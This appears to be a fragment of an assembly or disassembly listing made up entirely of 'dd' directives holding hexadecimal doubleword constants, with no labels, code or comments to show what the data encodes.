		dd 0BCF3A07Eh, 0C9FAF7A6h, 1DA8E588h, 357A51D4h, 0C98E700h
		dd 0DE3C45FDh, 2BAE4B05h, 7DB6C258h, 0B651BC03h, 9F937B1Fh
		dd 68B0E340h, 0A8C912FFh, 1FAC83DBh, 5E2579C6h,	51A4BF3Bh
		dd 0F83CAD39h, 0C8F7EC3Ah, 0B487BF2Eh, 6873F0A2h, 50C21845h
		dd 0CB0A802h, 129582CCh, 0B2869CB8h, 91DC9B38h,	9B54CFAFh
		dd 433A1DCDh, 92DE6A87h, 30633482h, 418312C5h, 4144AB32h
		dd 0AD6A1546h, 0D7E4929Bh, 0D424D60Bh, 1F41B143h, 609E484Bh
		dd 0A41258C7h, 0DD00A897h, 1FFB7488h, 6C005EBEh, 0AA46B856h
		dd 0FA827F17h, 49C0C58Ah, 0E73392Bh, 442A1373h,	0B6D25731h
		dd 2E1413CCh, 7C2D025Ah, 0FF5EF8E2h, 2D27B129h,	28F76844h
		dd 0AA192914h, 93D80F80h, 63823990h, 584074D9h,	0C9F87EFFh
		dd 91111864h, 1C394C5Ch, 7BA416B8h, 0B80A6C38h,	2AA37816h
		dd 84C7B001h, 65822A03h, 0F40FA7D8h, 29CF4776h,	6F4A3716h
		dd 0F22C066Fh, 0A9F590B2h, 0CBA985F7h, 65F4CC74h, 0D8D68392h
		dd 29E2F355h, 0C9922B2Bh, 2606D550h, 31A3BBh, 46E8A853h
		dd 0A38AF9B6h, 0BFA322FEh, 2B136575h, 79DB797h,	1A117028h
		dd 0C97CE973h, 5A7D0695h, 1BDA1CABh, 70421257h,	0FF414FCBh
		dd 84439738h, 3B3EE612h, 0AD2B7E3Dh, 40EB39DBh,	57230D9Ah
		dd 473543DCh, 4B94A2BDh, 0EE2126EEh, 0E6A30104h, 0A8F0740Ch
		dd 585008BCh, 0A457DE0Fh, 7B426000h, 9F5D4390h,	0B80855F2h
		dd 90965509h, 942C6FBDh, 62B62DCFh, 816D5696h, 0B5E6ADA3h
		dd 0FC7B296Ah, 58EE0D77h, 79C111F7h, 0A129FBEBh, 0C334DDC1h
		dd 987C1835h, 98D54EDAh, 33CDF781h, 0CE454875h,	0D62FB573h
		dd 2F71192Eh, 0D0B26DBAh, 0A087420Dh, 3D88F8B2h, 0D631867Eh
		dd 3ACB8AD0h, 0BD0FE4F3h, 0E4C1975Ah, 0B7AFAF28h, 51CEC327h
		dd 3F039EC6h, 9B0F43DBh, 0B2657002h, 44415ECBh,	0FF33DC74h
		dd 5A4A8BE9h, 0FC0B0EEFh, 0CC483FF7h, 0A5DB7FA8h, 45269A86h
		dd 38751E67h, 0B6003A1Bh, 22267223h, 0A1E9685Ch, 5D94F4E1h
		dd 2513B48Ah, 3F43BD15h, 145A22B3h, 0C37C6FDEh,	9B41B33Ch
		dd 0B56B4013h, 660F35C2h, 0F779DED3h, 0C714DDF7h, 71E7EB87h
		dd 0A1256D11h, 53D7AC67h
		dd 265F2C56h, 0E88034A6h, 952F1873h, 65E787Bh, 89001AF0h
		dd 4977D881h, 0C843E302h, 8CA150D0h, 459A00B4h,	0A438BFEBh
		dd 0F2CC40D9h, 0EBBB717h, 0CA22E6F9h, 8564ABFAh, 8C8FC8FDh
		dd 0AF8CEA6Ch, 0D259C82Ah, 787E2324h, 91F007Eh,	0E4640569h
		dd 28479BE5h, 0C4529E57h, 72407FB6h, 0FC737A98h, 694FC4F6h
		dd 4B46B72Bh, 0CB781043h, 0C2C85F62h, 0D68CA7AAh, 114B22FBh
		dd 0E5C1C0B6h, 0DB8BB97Eh, 725E80Dh, 47CCFEB2h,	0F19626A4h
		dd 2C355DF2h, 10FEC1B6h, 0FEDBA25Bh, 0EEA435C7h, 3F9308Bh
		dd 5F62BCE7h, 868B3C18h, 835B450h, 23FC31DBh, 0F9B0885Ah
		dd 7D4C7C8h, 73E48A80h,	0E145F14Ah, 41526972h, 0C22141FBh
		dd 5F52BFB8h, 4FD6A1D3h, 72E391F3h, 0B41F35ADh,	1AA715AAh
		dd 51A7F063h, 60EA029Dh, 13A978CAh, 58374DACh, 8A50ACC4h
		dd 0C6835476h, 1B26F46Ch, 0C6486FE8h, 8389A4BCh, 860FB88Eh
		dd 1471C5DEh, 0E98C8604h, 3F7B9F44h, 0A885D722h, 44D9AA20h
		dd 0C01C966Ah, 7D9245D4h, 0D4719F8Fh, 3B80B940h, 35F28DF5h
		dd 0E770026Eh, 0AB32D8C9h, 58D9E864h, 0ED02FE3Dh, 2C842D19h
		dd 84DB6AC6h, 1399F4A6h, 8FD208Ch, 32094268h, 4B665755h
		dd 0C931ED1Ah, 0CE261DC5h, 3494DB2Ah, 0B9261B56h, 0DD683747h
		dd 0E18954C9h, 731683D0h, 0D5DD2E5Fh, 54872F99h, 43EA188Fh
		dd 23805973h, 490F9527h, 202FE6BEh, 0E12B2B7h, 147C4AD3h
		dd 5D9233DBh, 46785A3Ah, 8BF89D5Ah, 55D115Fh, 329438B8h
		dd 6F24765Dh, 91650487h, 0B6C1196Eh, 0B998119Ch, 3A735341h
		dd 0A4E09D8Eh, 27706829h, 94A36A96h, 0F4BCD7D1h, 5D7D8D18h
		dd 0FA8C7EFCh, 605E3693h, 7EEDB1F7h, 0FD970BA9h, 0EE93FA6Ah
		dd 7F9DD5B6h, 18388244h, 5740A9A6h, 24376422h, 0E2947743h
		dd 3A6E8B95h, 9519F05Ah, 0ABD63E99h, 0E3D45266h, 762433A6h
		dd 0FCB0E9E9h, 0F536BD27h, 8EEBA7B8h, 0A215E11Dh, 65030105h
		dd 0E656FAFh, 3C68904Ah, 0E030992Eh, 6C6D3D7Dh,	19E0B1ACh
		dd 0D481AB7Eh, 934D8934h, 6DC1A683h, 3D1BEC36h,	5AFBBD1Fh
		dd 42E3BEB9h, 5499DF00h, 70CDFF1Ch, 9846C94Eh, 4BAF3FA4h
		dd 0B30494D5h, 1D8B074Ah, 524BC8BFh, 2980873Eh,	263B35B0h
		dd 821C403h, 0D5A036E9h, 6E88B8F6h, 535474A7h, 0E66074FAh
		dd 0A8B14DA9h, 0A0FB2C52h, 0EED63D4h, 0CE476792h, 4A1E671Bh
		dd 0AAF9BE37h, 8B12319Ah, 410A434Ah, 51A64398h,	0E16D5554h
		dd 91FE9933h, 0E4AD3797h, 0F2BD9FD2h, 7F06DA82h, 0F9632160h
		dd 0B9484AF1h, 0DDADB4C7h, 20F2D2F3h, 872721E2h, 0AE8EF99h
		dd 2CF7CB0Ch, 13CDF69h,	2942388Dh, 3DD10h, 3097D3FFh, 0DFF1A3FAh
		dd 0C80EDD8Fh, 0FF0DCB83h, 3C1C7A78h, 128E3827h, 0E35502AFh
		dd 0D28C3577h, 0A7D45397h, 4B5B8948h, 0C14DCE84h, 1A0EE877h
		dd 0E29C3216h, 3F90F4A3h, 7FF05CDDh, 3569CDDh, 9ABB6AD1h
		dd 0A2AC1A7Bh, 8B4D1173h, 992B8858h, 6AA58F8h, 0FC18A171h
		dd 8C6A6E59h, 0E879C609h, 768FE2EEh, 0ECD25982h, 0FA5ECB47h
		dd 0A632083Bh, 26614B3Dh, 886C80D9h, 98DB46BEh,	9F22125Ch
		dd 0A5F1F6Eh, 4B220720h, 4B066F4Ch, 0DCDFD219h,	0A2456381h
		dd 398AAAEFh, 0E0B9AC02h, 634CBC87h, 59ECC4E8h,	3BA48094h
		dd 0A5C78F50h, 38C827EAh, 754CE94Eh, 99C35830h,	0EBD977C6h
		dd 3FAA3618h, 11B59F47h, 974F0FA3h, 462DC69Bh, 0BE47A6EFh
		dd 43077897h, 4560DD28h, 0DD3916E0h, 0B80D2B16h, 3818AA9Eh
		dd 0FDA05A0Ch, 0E73D9741h, 5510C10Ah, 193E2DB3h, 4BEBD243h
		dd 59011238h, 0A481B987h, 91BE60A2h, 8B955B90h,	394FC336h
		dd 0BC759FECh, 0B0EB9C6Dh, 0CB042652h, 56E4CADEh, 0B3F019B4h
		dd 0BFF423E0h, 0EE78BB87h, 0FB66A0EFh, 0EA1DB19Dh, 0D1534B7Ah
		dd 20215EE2h, 0E5BD7834h, 9378237Fh, 5DA1D513h,	49B93E51h
		dd 88818629h, 4BD48AB5h, 943C1E39h, 1AE7B282h, 0B22801D0h
		dd 20313415h, 2FA04C59h, 0ADD33829h, 7589CD21h,	0C8109EEDh
		dd 9DC9B151h, 0A0053A65h, 7C5CB776h, 0C46F6DE2h, 0A4F39066h
		dd 0ECABA56Ch, 0E554D352h, 52A1774Ah, 0E5B5AC86h, 976AEE3h
		dd 7BC11D25h, 1779AFA9h, 27C86811h, 0ECF00743h,	0F99AAE6Bh
		dd 0C06F056Dh, 5FC82B8Bh, 679B5E15h, 756E58DEh,	0E9A5C128h
		dd 0AD1AE2Bh, 652182A9h, 8D723A28h, 30AD1BDCh, 36908764h
		dd 0E5293C16h, 0B065CBE4h, 0F747C679h, 3552FC5Ch, 0BFA2D534h
		dd 0F7F6DB57h, 0E9B03BD0h, 0ACB8F94Ch, 0EA3FE71Eh, 7FE344D3h
		dd 0F0429BD1h, 112BAC10h, 0BD4FDD5Fh, 0D436BBA1h, 288635B1h
		dd 0FABE690Dh, 665DDAF7h, 0A9AAE3A1h, 0E2EFB0DBh, 0C8B4F357h
		dd 0C89F2F3Dh, 874E50A2h, 0DA983A10h, 0FB989C66h, 904DBA2Fh
		dd 0C3088529h, 0DDF1C357h, 0B2B02BC7h, 7D73728Eh, 44EFCC95h
		dd 36646C7h, 0DAD95DBFh, 4978770Ah, 0D9853A69h,	20D73701h
		dd 68A2671Bh, 5C2A53F7h, 933B684Ah, 0D6725AB3h,	990473C9h
		dd 3858010Dh, 39378332h, 0E030982Dh, 5021FAC3h,	0C88E0E42h
		dd 0B99A7D79h, 44EAD52h, 63D3C4EDh, 2A4C556Eh, 0EC46B86Dh
		dd 0C5B7F993h, 1EA9A127h, 1C153E96h, 197F85F7h,	6A53994Bh
		dd 0D2E7A1D1h, 3D989457h, 0E891BCA0h, 70E3DCC3h, 0F604F0FBh
		dd 5070793Dh, 0F27A6482h, 0A945051Bh, 1AF49CAh,	0B6A018C5h
		dd 21BD6BF5h, 0ED0635Dh, 0FCB5A935h, 379C01E5h,	67A654B9h
		dd 208D8F6Bh, 0ADC91598h, 8ECE748Eh, 7B16EBF6h,	55F99741h
		dd 684D6839h, 0AFF9BDDEh, 839C20F6h, 0CB506435h, 0E07BA6A8h
		dd 0A67E2C35h, 5A00835Eh, 2C2D6DD0h, 0C92CF2C7h, 0CC0794A9h
		dd 24A3557Fh, 67AFBE3h,	73E485AFh, 0CD15E794h, 375282E0h
		dd 461E071h, 5093B27Ch,	9A028790h, 0D7185BC8h, 0B2F2C3BAh
		dd 0C4589D6Eh, 0E7FDB05Ah, 0E88E1D1Eh, 1896E342h, 0E7A992E1h
		dd 5F968D5Ah, 858F218Dh, 0A42E687Fh, 1ABA3948h,	32F272FBh
		dd 0C2F93530h, 84BEBCCCh, 967B54Bh, 6123FEADh, 371D6AC0h
		dd 667F1360h, 0EC3E1D36h, 18BA2F2h, 297C0A12h, 0A01B2145h
		dd 62283EA6h, 66016B3h,	0D3C4CAE9h, 0D81465B6h,	0B90D022Ch
		dd 5B8F2DADh, 0A3114633h, 0F6AE6243h, 0B94F1B0Ah, 25B5A72Bh
		dd 23249CCFh, 929F31E6h, 0A6F3268Ch, 0BC69D2A3h, 0E8C7A548h
		dd 87E71EB1h, 822DA301h, 84CC8381h, 6715094h, 0BB27F1F5h
		dd 5F24DD08h, 0FFCB86E8h, 50676230h, 52785FD3h,	1E4A2D6Ch
		dd 0AC52940Fh, 0C7973C65h, 0ACF2718Bh, 6F3666CDh, 8C31E25Fh
		dd 0B2AE441Eh, 49ACD2D2h, 3CC500D0h, 0FD77C04Bh, 0B96F7E6Eh
		dd 6EA2D2F3h, 2BDDB752h, 88A08750h, 0D8CCB963h,	0FDD4A049h
		dd 7E72B107h, 1197B98h,	0B52CFBA7h, 8D8819CAh, 93ECA210h
		dd 98DC9F13h, 0C02AF2DEh, 3F39DBCDh, 37B30B44h,	0DEDDCB68h
		dd 3A17FF23h, 4068B80Ch, 80D2165Ah, 355827D0h, 0D9D83679h
		dd 0B3FEB825h, 0AC68BC1Fh, 0BA137A75h, 4485B37Ah, 0A8BD5110h
		dd 23BA2E5Fh, 40FE5A47h, 2FCD78EDh, 630D03D7h, 7BF3584Ch
		dd 8ECF2C93h, 0FF17F93Ch, 0D777640Fh, 0FBDF5480h, 79CAEAB8h
		dd 367F26F7h, 98C800A1h, 4AC4209Bh, 0A3A1E269h,	0C32D2A94h
		dd 14F1B8C8h, 3A8A79BCh, 6DBD810h, 0ADE02860h, 5FABDF1Eh
		dd 0F22B5331h, 0C80D4453h, 512E2364h, 2CE05785h, 5923159Bh
		dd 55DB01C5h, 0E661DE02h, 32959912h, 51115CEDh,	80CD4A6Dh
		dd 8F55BFEBh, 0FF3B33ADh, 7F2C4618h, 7D7B12D4h,	8EB168C6h
		dd 0CDF79174h
		dd 5DB85B5Fh, 4A1B8388h, 0F706F0Ch, 0FABBFB28h,	0B0AF2A0Bh
		dd 83F35458h, 6BD28063h, 8360202Fh, 245FF6CEh, 18BB8C7Fh
		dd 3E14189Ch, 0EE65AC3Ah, 7861F0CFh, 0E10EEF63h, 3F4BCD3Ah
		dd 8B60F438h, 5B12E05Bh, 4DEB2512h, 95F3E099h, 0CD4BCA8h
		dd 0AA610549h, 6BA8C34Bh, 0BD2613D9h, 8C43D3E2h, 69B165F2h
		dd 16479E8Fh, 86D25FC7h, 8E494EAEh, 0B1F28C81h,	20C0026Ch
		dd 38B7881Ch, 0DB0227C1h, 75696F28h, 168315C1h,	0E24EA953h
		dd 0D776412Ch, 710B2965h, 28E3A853h, 2358B103h,	18D51BEEh
		dd 0BA02A1BCh, 0C3F35819h, 547DE485h, 9DCD16CBh, 606E8D28h
		dd 0F22C165Ah, 0CC9EFDh, 15AD4992h, 36C25B2Dh, 805C69DCh
		dd 93012608h, 759674ECh, 0BE0512FAh, 37EE66C8h,	8FAFF778h
		dd 93C27AC0h, 3875459Ch, 3BF7B542h, 0E30C9E3Ah,	93F821BBh
		dd 29FA3324h, 9283E1D9h, 0A93327A2h, 0AD2C946Dh, 7842450Ah
		dd 0CFF57DE5h, 0E3F3150Ah, 1324C769h, 0BEE1F260h, 2B2D3775h
		dd 0B4C37267h, 0B88A6CA4h, 4E52B053h, 21610B9Eh, 30380558h
		dd 0F18E9D6Bh, 0B36C3FBh, 491B2B55h, 0A0DCC386h, 214165AFh
		dd 99906D9Ch, 0FF944EB8h, 394128CFh, 0B32EE58h,	4BAA4857h
		dd 8E115CBh, 103F2F46h,	3701F99Ch, 0FC0BF799h, 43B01B2Bh
		dd 97452EC6h, 92FD9BDAh, 251EB9E8h, 173E22A6h, 0C5B6556Ch
		dd 0CA1599C9h, 0E492CD81h, 0B7AD3B55h, 62F3C926h, 359A10EBh
		dd 0ECAD7D72h, 0A5C49A78h, 26CC98ABh, 860879D1h, 0B53C4A42h
		dd 0AC4AD8Dh, 684BA9EEh, 0E3303E1Dh, 461F7A33h,	3DF09941h
		dd 0F89A6207h, 1CC9B60Dh, 64BFA4D6h, 9D2C2567h,	149D50EAh
		dd 0EC25C9DEh, 0C34C0B3Ah, 8F77219Eh, 74C7D68Ch, 5D36DDFh
		dd 0FCA46D0Fh, 0A6CC2636h, 2CDFED79h, 1A80D716h, 881E059Eh
		dd 42906BC8h, 49C4A01Eh, 6C7877C1h, 6B92C315h, 0EE0449E8h
		dd 1B60FCB9h, 1009E049h, 19C7C2ADh, 0EE5675E1h,	0CDC20606h
		dd 53FF9845h, 0CE0E730Ah, 291FAC4Ch, 0A65D857Eh, 0D2C30E8Eh
		dd 0F6712753h, 50153C20h, 1358C649h, 0D730B6F4h, 9A149891h
		dd 17307C1Fh, 620E8620h, 770E86EAh, 0F687F454h,	965F9569h
		dd 9C1016DCh, 0F28CFF47h, 0AF1745EFh, 0E22F97CDh, 0DF91AE3Dh
		dd 62ED75F3h, 778F825h,	5DEBFF99h, 0DC735DC5h, 0BA1C32Eh
		dd 664411F0h, 0EAD01F3Dh, 0A49EC702h, 0AA4C744Dh, 4078316h
		dd 663DBA50h, 0CBA6260Ah, 0DB544C29h, 793F0D85h, 0DD4082ECh
		dd 0F5084EA9h, 0BE3EF149h, 5515D0FDh, 0EB746514h, 0B977B44Ah
		dd 63A27807h, 0E80E00BDh, 0AF885AC4h, 6911EF77h, 9649F30Fh
		dd 8170D9A6h, 86F905A0h, 4CB0B13Bh, 281EFF50h, 38843486h
		dd 0C0AB1385h, 6C8B155h, 0F68AAECFh, 22B1F568h,	0ABAD6760h
		dd 113118B9h, 1FB88DF4h, 0BD5FE9C9h, 83BD3D0Ch,	650DD9B9h
		dd 13822312h, 0CE4F3FA0h, 54AE5283h, 0FAA37CDDh, 8D4B7F21h
		dd 60A0238Ah, 3B846219h, 0ED3C6A79h, 0FC9E616Bh, 0C056D584h
		dd 0D4CFFF40h, 29A78C39h, 0BE231F67h, 0EE61EA26h, 64B6C498h
		dd 281BBCCh, 3BD84E9h, 0EFB7CE86h, 0F1AF71F6h, 4AB38931h
		dd 3DAAA060h, 0EE2D6DB0h, 431B1093h, 2BE733D6h,	126DBA0Dh
		dd 0BC45FBCEh, 461AA19Fh, 9B5DCEBAh, 496718F3h,	77F911EAh
		dd 0AAF31FEh, 0D1E95430h, 85215953h, 8C6D8789h,	2052D23Fh
		dd 88559449h, 0B9957745h, 0BD050248h, 0DAC3E21Dh, 46514C7Ch
		dd 3047B5B5h, 2F6DB1F7h, 326B8530h, 0DCBBA305h,	0B8CE4077h
		dd 0B1D46CE6h, 842A35E6h, 258DC5B9h, 138C3C20h,	30185811h
		dd 64036C3Fh, 507EA8E7h, 5179D81Eh, 9081DD19h, 1CDF281h
		dd 0BDE74F9Fh, 225A6558h, 796BC118h, 0A451E5BBh, 0C896F1B0h
		dd 46629FC6h, 4E97CD91h, 0A231AC11h, 0DD5A8731h, 0B34B637Dh
		dd 4C32A205h, 0E3AA883h, 777C34E7h, 5CD531FEh, 1C163E17h
		dd 0A463386Ch, 109A751Ch, 7045ADB6h, 0F4DA100Ah, 0DBF9FB1h
		dd 43508D3Eh, 0D46C410Fh, 1886668Bh, 25C3D787h,	740F5C3Ah
		dd 7A443A3Fh, 0C1967395h, 178621A5h, 376DEADCh,	6BAC0C5Bh
		dd 0E7A56424h, 0FFC2C88h, 9C01809Fh, 573E2163h,	0B3D0BDDCh
		dd 0AFD28FDAh, 629205C1h, 8F0792D7h, 449C63D9h,	9F7BF904h
		dd 0D094711Ah, 33A0B778h, 2A0A20ADh, 6B37E43h, 7981266Ah
		dd 0C6EF7CC3h, 0EA02D1A8h, 0AE74B791h, 21B3D447h, 3A8A643Ah
		dd 0CB8D6B27h, 29D6069Ah, 0BE4346C5h, 0DB9ACBEFh, 0D6B31093h
		dd 7808E86Ah, 1DE73101h, 425B33E6h, 9403F44Eh, 0D917D669h
		dd 0E1137F18h, 0C2170234h, 6F92AC0h, 0F2808BB8h, 86B6A02h
		dd 9486C9A7h, 0BC7D431Bh, 16483FFh, 0D96B67E3h,	344DD066h
		dd 67B1788h, 4ABA401Eh,	0A55FBF6Ch, 0F2DA72E6h,	4A04D4F4h
		dd 91D73807h, 0C5B59560h, 4437A78Bh, 0DC8E960Dh, 0A4AF81B8h
		dd 674BB389h, 68A2CE0Bh, 5D286C71h, 0E17C2EFCh,	0E3B236C1h
		dd 0ED1C9C4Ah, 2FC3B512h, 3050674h, 0E2C205E0h,	416049DDh
		dd 0BB503F89h, 0C15804E1h, 1EDA766Dh, 213A00F4h, 879E6E1Fh
		dd 0A0215ABAh, 502E1FC7h, 0E3066F6Eh, 690BEBE2h, 30BC819Bh
		dd 0B1A5ACE6h, 6EAF2983h, 72F05909h, 0E4C7A8B1h, 0F86FD15Dh
		dd 0D8F87923h, 8DC20CDDh, 0E1412EB7h, 4A1EEA59h, 0C88BF0C8h
		dd 0EAB91D5h, 0E92B8BB8h, 7061BA1Dh, 0C17F1D97h, 0FB7BC213h
		dd 0EF1CB336h, 5B8A9D8h, 0E19B3CDDh, 74B1BA26h,	3101AD60h
		dd 81212288h, 0EBD31B4Fh, 60DFCD8Ah, 0C8CC0379h, 114CA15Ch
		dd 1533D680h, 9A760D8Dh, 0CFC97FA4h, 22BECDEAh,	43FE170Ah
		dd 0BFA29CFCh, 2AD349B6h, 490E1EE7h, 0F27985C3h, 802ED581h
		dd 5177FF05h, 5073491Dh, 376F8399h, 9AEF5499h, 75A4B315h
		dd 7C3EEE0Ah, 87DEA048h, 566B976Bh, 0B7ECDB72h,	87605597h
		dd 6FA40788h, 0F04A9D5Ch, 67DF461Ah, 0E17624B6h, 6F5E75B7h
		dd 0DF1170C9h, 939ED55h, 5586AF4h, 0ECDB752Ch, 0EDF078CEh
		dd 0C51E4249h, 6DCA35CAh, 0C69214CFh, 0EFDE9E5Ch, 0DCF3A98Eh
		dd 0DA69AE3Dh, 0E1889597h, 0C79492A5h, 0E795A62Ch, 0C5546380h
		dd 0D2A6964Dh, 6ABB4F27h, 64F384DCh, 75A66679h,	913EEh
		dd 3F3F0947h, 7601CDDFh, 99AF3933h, 29F66B34h, 69C4C056h
		dd 0B850D47Bh, 60D48A42h, 4FB4D153h, 4A0C2954h,	62DA521Bh
		dd 9A0CB8EBh, 0CF511AFh, 0BB5B511Ch, 0F6C31A94h, 0B3C46DE7h
		dd 0E34D036Ah, 0DEE4807Ah, 0CCEA2233h, 0BEC6493Bh, 692F32AEh
		dd 0E72DCC52h, 35394EB6h, 0F5DFDE32h, 4D904D29h, 9C83E21Fh
		dd 6EDB67EDh, 4A1C5B4Ch, 976C11C2h, 0EC717E45h,	88AD4767h
		dd 449576F6h, 1C5DB6B9h, 0E2A34571h, 0CBAA5A90h, 0F6240E06h
		dd 9FCD0DEBh, 8D94EDC7h, 0F607C937h, 3332C437h,	40C5EB99h
		dd 1020A50Ch, 6585CAA3h, 9B84D761h, 8C99C78Ch, 3984C9Eh
		dd 9A6CE160h, 8508D346h, 0BD779D01h, 7BE9D5A1h,	13E32999h
		dd 0B52DF7B4h, 0E4DCB87Ah, 9388981Ch, 7DFD3C77h, 0AFDD1A6Ah
		dd 0C8113420h, 1DB4FD3Eh, 6B29D6B7h, 9250CD2Ch,	0BA3577Eh
		dd 757B64B9h, 89B81945h, 132AB938h, 0FC666282h,	4F17435Ah
		dd 0BCB6A62Ah, 999828C0h, 40C86D8Dh, 0EB6FCE29h, 0DCD5A971h
		dd 0B04FC5EAh, 75B23862h, 0F7333757h, 70A82A9Bh, 1F2C743Dh
		dd 2B8F1CFCh, 266293EFh, 7CF1D1Bh, 31977824h, 0D9E438BFh
		dd 6862BF5Bh, 73A45616h, 2A5E927Dh, 3E824210h, 0E4073FAFh
		dd 1E530E2h, 0BBFF34C4h, 0C611DE1h, 7A4FF551h, 9AB4C0E6h
		dd 0D4382C9Fh, 0A0469EE2h
		dd 35DE7B1Dh, 5B054C10h, 0ECAE7D64h, 793EC845h,	0CC06A4BBh
		dd 0CF45826Ah, 0F96B7B80h, 9A765B35h, 0D081B428h, 0A8DC8A3Ch
		dd 84073B17h, 4B2301Dh,	0DA78DA10h, 3670F47Dh, 4E5CAF6Fh
		dd 2C747E30h, 0B0F0DEBAh, 959C4BAEh, 3F201D98h,	2D70EDD8h
		dd 123D9253h, 9CB14F6Bh, 0AEE36520h, 0F6E4949Fh, 0AB76D012h
		dd 0ADA7AB00h, 0DB13E759h, 3B55BAC3h, 83870B9Ch, 0C7C08168h
		dd 0FD3A6838h, 0CC77082Bh, 0DB2F2818h, 6238F782h, 7E65EE21h
		dd 71BAAE14h, 0C992E116h, 107F60D5h, 0B6B554B7h, 47CD02B5h
		dd 1FCBF707h, 6DEBE08Eh, 509B09B6h, 0FEC5C6DCh,	7D991BE1h
		dd 0EE4E85AAh, 0B062E586h, 0D7D408Bh, 782FC115h, 0F2D9ED8h
		dd 6401C3E1h, 0CF0E7E52h, 90417F24h, 0C9F1D6C5h, 43810E32h
		dd 351AEACBh, 69FE438Ah, 6E1AF80Eh, 1458CE57h, 0E364A00Dh
		dd 1D2372A1h, 0C37A5759h, 391301D0h, 0F5071A7Dh, 3085A000h
		dd 36A02DC5h, 187CAA41h, 99B065E6h, 3105D9A9h, 0BE8227F3h
		dd 1CD86FFEh, 0D2D83B75h, 0A247FE90h, 0E21219DDh, 0CE090EA9h
		dd 68030742h, 0DBBA6F3Fh, 4929B816h, 0B2E816DBh, 1775A2F0h
		dd 1A8E5FB9h, 90DED7F3h, 0F33DA0C6h, 3F0CF779h,	517384D4h
		dd 0F1596E3Bh, 17596658h, 9EAD8887h, 297E819Fh,	6F265A40h
		dd 47156838h, 66BC6554h, 0AC1C322Ah, 0B6805B81h, 0C636D861h
		dd 377F4D3Ch, 0B446F904h, 2D7FE328h, 46CB90D9h,	0B31C399h
		dd 32F2C201h, 70D89D97h, 0AE67E0F7h, 0CCC1DC0Eh, 23E8EC04h
		dd 0D12682B3h, 0A8209362h, 58F67E9Eh, 4B574893h, 0D4AC4762h
		dd 0B0562DE5h, 0D47CC4D3h, 532B73FAh, 8C312178h, 5FF9A362h
		dd 8C83AF7h, 85DBFDAAh,	62D45B99h, 0E4FDB05h, 307EC553h
		dd 0ACBBFC62h, 0E903DC9Ch, 0D5BE8B45h, 56B8FAC8h, 3035FF24h
		dd 29722028h, 7684967Ch, 0D9EBEB2Dh, 9C1CC53Ch,	55A22145h
		dd 9679180Fh, 0E207F800h, 8378E65Bh, 1AC840D7h,	0E68FEBD6h
		dd 87007128h, 588197A1h, 0F6779441h, 5963EB67h,	1D4F7D53h
		dd 53337681h, 4A7A800Ch, 0C7B2F026h, 82D7107h, 0FD43A89h
		dd 163A3189h, 0C36C68CDh, 44AC44F7h, 6DCA363Ah,	3B041B4Dh
		dd 846F100h, 0AB222759h, 3DE74494h, 2A46AD7Fh, 0C2010456h
		dd 0A9E3810Ch, 36D39774h, 355D6773h, 0CEEE312Eh, 0C514362Ch
		dd 898A67EAh, 70B32C06h, 9AF4EBCBh, 56BFD15h, 0E6FEBA8Fh
		dd 7BDC5C08h, 73B3CD33h, 0CCF6B56Dh, 4A2A1CA6h,	0D06BC702h
		dd 741F892Fh, 0AE02C59Bh, 0C5DCEC25h, 0C2823573h, 0ADD11DC7h
		dd 79C7E006h, 22D7CDEAh, 0D705011Fh, 8243C739h,	0E566CAC7h
		dd 0F4A3871Bh, 1259FD7Fh, 18326903h, 520A7EC7h,	811156AEh
		dd 99857755h, 0A4740B62h, 3C4E6DB3h, 0DF50CF39h, 0AC8881CDh
		dd 1E37901h, 31CA9811h,	26FB8DDDh, 5A9C956Ah, 2B316103h
		dd 611F95A6h, 0B9D887A7h, 49CABC9Ah, 0E3746CCDh, 14ED6E34h
		dd 0DDE85A2h, 3044B8F7h, 0A1CE2AFCh, 0FCD8C5FDh, 0B3F6D857h
		dd 68F188EDh, 3A8ABF97h, 0DCCC0406h, 0BFE72D0Eh, 3CE8001Dh
		dd 14E7E3D5h, 4C0015EAh, 43321137h, 675ABFFEh, 2698D357h
		dd 0C6CA6C6Ch, 74D7EF6Dh, 0C1AC26B2h, 342F3F3h,	0B5A71D91h
		dd 0F204C1B9h, 819BE49Ah, 0EEE9C1CEh, 0CD8A690Bh, 0D9E18A99h
		dd 12DD8F2Ah, 0B70B45AEh, 0E4CAE469h, 0CC16121Dh, 5CF5DCE6h
		dd 964AF1DEh, 59ACD1BAh, 0DCF6E368h, 0ABED60AEh, 8ED07613h
		dd 363BA4A0h, 30879367h, 424E959Ch, 7F360061h, 58403C72h
		dd 68BA3E3Dh, 0DB637A73h, 0C8477D7Dh, 0C99CBEEFh, 0A4222A33h
		dd 57F26AFAh, 9A19E912h, 47E58179h, 0EBB09229h,	815819B3h
		dd 5690C06Ch, 1D4C1A92h, 0A66A8CFFh, 0AB6A91CFh, 0F7362C45h
		dd 21BB8298h, 0CCD4F10Dh, 83873454h, 0A845B859h, 0D15B8700h
		dd 28032454h, 0AA3D552h, 80492E49h, 0EB2923A5h,	95ABA63Ah
		dd 0BA0CF646h, 0B7F34F35h, 80F2414Ah, 0CC946C0Eh, 0BADFF0DDh
		dd 0C815865Eh, 9DDCC760h, 0FF036F84h, 93A097A1h, 0BD4E2CA6h
		dd 2DEEFC61h, 7A16061Eh, 0F70CCEAAh, 90E699E7h,	0B2189BE0h
		dd 59D3BCDEh, 4DC573FAh, 0CBF01ABh, 9F958DF0h, 42C0350h
		dd 0ED974CBh, 52F8004Ah, 38F3A742h, 91013410h, 2E905CB0h
		dd 8E36356Eh, 7218F136h, 2378169Fh, 74F4F838h, 76BA7807h
		dd 57907E6h, 0B450182Bh, 0A5555650h, 0FE3AA209h, 0D710F88Bh
		dd 6A73A536h, 983296Eh,	9BAF446Ah, 6191FB4Eh, 43E2C03Ah
		dd 0C3F05762h, 0C05FD781h, 9064A2AEh, 0D3B43E38h, 34495F23h
		dd 887845D6h, 0DB67B3C7h, 0B68FCA4Eh, 0F81C3BBBh, 9BAC48A1h
		dd 275D50A7h, 936B816Eh, 0E421ACC7h, 26849989h,	3B298A67h
		dd 0BEB9C4A1h, 15AE51FBh, 646C9DDEh, 0C0C546A1h, 2D03D6AFh
		dd 35A32BFCh, 4FE20C62h, 937BCC0Fh, 0B3F1180Eh,	0BF9BF0CBh
		dd 58C7B0CAh, 2B46CB46h, 6C2BB1B7h, 33ABBFEAh, 107E5A1Fh
		dd 9543A894h, 5A428123h, 0A1697056h, 44DD4E2Ah,	0C1CC4AB5h
		dd 0FFB6F86Bh, 0F554267Fh, 1AF404Bh, 0B7449C3Bh, 92FB59A2h
		dd 59138F6Ch, 47BCD85Dh, 0F6A359D7h, 0A7693C83h, 0DE03ED78h
